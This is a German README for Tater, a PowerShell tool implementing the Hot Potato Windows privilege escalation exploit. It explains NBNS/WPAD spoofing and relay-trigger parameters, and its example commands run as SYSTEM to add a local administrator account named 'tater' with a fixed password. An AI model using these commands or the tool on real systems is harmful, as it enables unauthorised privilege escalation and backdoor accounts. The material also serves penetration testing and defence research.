Tater

Tater ist eine PowerShell-Implementierung des Hot Potato Windows Privilege Escalation Exploits.

Danksagung

Alle Anerkennung geht an @breenmachine, @foxglovesec, Google Project Zero und alle anderen, die bei der Ausarbeitung der Details für diesen Exploit geholfen haben.

• Potato - https://github.com/foxglovesec/Potato

Enthalten in

• p0wnedShell - https://github.com/Cn33liz/p0wnedShell
• PowerShell Empire - https://github.com/PowerShellEmpire/Empire
• PS>Attack - https://github.com/jaredhaight/psattack

Funktionen

Invoke-Tater

• Die Hauptfunktion von Tater.

Parameter

• IP - Gibt eine bestimmte lokale IP-Adresse an. Wenn dieser Parameter nicht verwendet wird, wird automatisch eine IP-Adresse ausgewählt.
• SpooferIP - Gibt eine IP-Adresse für das NBNS-Spoofing an. Dies wird benötigt, wenn zwei Hosts verwendet werden, um einen belegten Port 80 auf dem Privesc-Ziel zu umgehen.
• Command - Befehl, der als SYSTEM auf dem lokalen Host ausgeführt werden soll. Verwenden Sie bei Bedarf PowerShell-Zeichen-Escapes.
• NBNS - Standard = Aktiviert: (J/N) Aktiviert/Deaktiviert NBNS-Brute-Force-Spoofing.
• NBNSLimit - Standard = Aktiviert: (J/N) Aktiviert/Deaktiviert die Begrenzung des NBNS-Brute-Force-Spoofers, um NBNS-Spoofing zu stoppen, während der Hostname korrekt aufgelöst wird.
• ExhaustUDP - Standard = Deaktiviert: (J/N) Aktiviert/Deaktiviert die Erschöpfung des UDP-Portbereichs, um alle DNS-Abfragen fehlschlagen zu lassen, damit auf NBNS-Auflösung zurückgegriffen wird.
• HTTPPort - Standard = 80: Gibt einen TCP-Port für den HTTP-Listener und die Weiterleitungsantwort an.
• Hostname - Standard = WPAD: Hostname, der gespooft werden soll. WPAD.DOMAIN.TLD kann unter Windows Server 2008 erforderlich sein.
• WPADDirectHosts - Durch Komma getrennte Liste von Hosts, die in der wpad.dat-Datei als direkt aufgeführt werden. Beachten Sie, dass localhost immer als direkt aufgeführt wird.
• WPADPort - Standard = 80: Gibt einen Proxyserver-Port an, der in die wpad.dat-Datei aufgenommen werden soll.
• Trigger - Standard = 1: Auslösetyp, der verwendet wird, um das HTTP-zu-SMB-Relay auszulösen. 0 = Kein, 1 = Windows Defender Signaturaktualisierung, 2 = Windows 10 Webclient/Geplante Aufgabe
• TaskDelete - Standard = Aktiviert: (J/N) Aktiviert/Deaktiviert das Löschen geplanter Aufgaben für Trigger 2. Wenn aktiviert, wird dem Aufgabennamen ein zufälliger String hinzugefügt, um Fehler nach mehreren Trigger-2-Ausführungen zu vermeiden.
• Taskname - Standard = Tater: Name der geplanten Aufgabe für Trigger 2. Wenn Sie feststellen, dass Tater nach mehreren Trigger-2-Ausführungen nicht funktioniert, versuchen Sie, den Aufgabennamen zu ändern.
• RunTime - Standard = Unbegrenzt: (Integer) Legt die Laufzeitdauer in Minuten fest.
• ConsoleOutput - Standard = Deaktiviert: (J/N) Aktiviert/Deaktiviert die Echtzeit-Konsolenausgabe. Wenn Sie diese Option über eine Shell verwenden, testen Sie, ob die Shell nicht hängt.
• StatusOutput - Standard = Aktiviert: (J/N) Aktiviert/Deaktiviert Startmeldungen.
• ShowHelp - Standard = Aktiviert: (J/N) Aktiviert/Deaktiviert die Hilfemeldungen beim Start.
• Tool - Standard = 0: (0,1,2) Aktiviert/Deaktiviert Funktionen für einen besseren Betrieb mit externen Tools wie Metasploits interaktiven PowerShell-Sitzungen und Empire. 0 = Kein, 1 = Metasploit, 2 = Empire

Stop-Tater

• Funktion zum manuellen Stoppen von Invoke-Tater.

Verwendung

• Zum Importieren mit Import-Module: Import-Module ./Tater.ps1

• Zum Importieren mit der Dot-Source-Methode: . ./Tater.ps1

Beispiele

• Einfaches Trigger-1-Beispiel Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"

• Einfaches Trigger-2-Beispiel Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"

• Zwei-System-Setup, um Port 80 auf dem Privesc-Ziel zu umgehen WPAD-System - 192.168.10.100 - Dieses System stellt lediglich eine wpad.dat-Datei bereit, die HTTP-Datenverkehr auf dem Privesc-Ziel zum Nicht-80-HTTP-Port leitet. Invoke-Tater -Trigger 0 -NBNS N -WPADPort 8080 -Command "null"

  Privesc-Ziel - 192.168.10.101 Invoke-Tater -Command "net user Tater Winter2016 /add && net localgroup administrators Tater /add" -HTTPPort 8080 -SpooferIP 192.168.10.100

Screenshots

Windows 7 mit Trigger 1 (NBNS WPAD Brute-Force + Windows Defender Signaturaktualisierungen)

Windows 10 mit Trigger 2 (Webclient-Dienst + Geplante Aufgabe)

Windows 7 mit Trigger 1 und UDP-Port-Erschöpfung